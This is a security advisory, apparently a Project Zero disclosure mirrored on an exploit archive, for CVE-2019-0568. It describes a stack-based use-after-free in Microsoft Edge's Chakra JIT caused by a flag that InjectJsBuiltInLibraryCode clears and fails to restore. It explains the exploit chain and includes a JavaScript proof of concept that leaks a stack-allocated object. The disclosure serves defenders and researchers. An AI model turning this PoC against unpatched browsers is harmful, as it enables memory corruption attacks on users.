Microsoft Edge Chakra JIT Use-After-Free / Flag Issue

`Microsoft Edge: Chakra: JIT: JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode just clears DisableImplicitFlags   
  
CVE-2019-0568  
  
  
The JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode method is used to execute JsBuiltIn.js which initializes some builtin objects. Because it's essentially written in JavaScript, it needs to clear the disable-implicit-call flag before calling the JavaScript code, otherwise it might not work properly. The problem is, it doesn't restore the prevous status of the flag after the call. As setting the flag can prevent stack-allocated objects from leaking, this clearing-the-flag bug can lead to a stack-based use-after-free.  
  
To exploit this bug, it's needed to build a chain that first clears the flag by calling the vulnerable method and then leaks the stack-allocated object. This is done with the Error.prototype.toString method (marked as having no side effects) which calls the "toString" method on the "name" property and the "message" property of the "this" object. So when it accesses the "name" property, it clears the flag and leaks the "this" object when it accesses the "message" property.  
  
PoC:  
function opt() {  
let o = {}; // stack-allocated object  
o.x; // under with DisableImplicitFlags set  
}  
  
function main() {  
for (let i = 0; i < 10000; i++) {  
opt();  
}  
  
let leaked_stack_object = null;  
let object_prototype = ({}).__proto__;  
object_prototype.__defineGetter__('x', Error.prototype.toString);  
object_prototype.__defineGetter__('message', function () {  
delete object_prototype.message;  
  
leaked_stack_object = this;  
});  
  
object_prototype.name = Array.prototype; // access to Array.prototype will call JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode.  
  
opt();  
  
alert(leaked_stack_object);  
}  
  
main();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`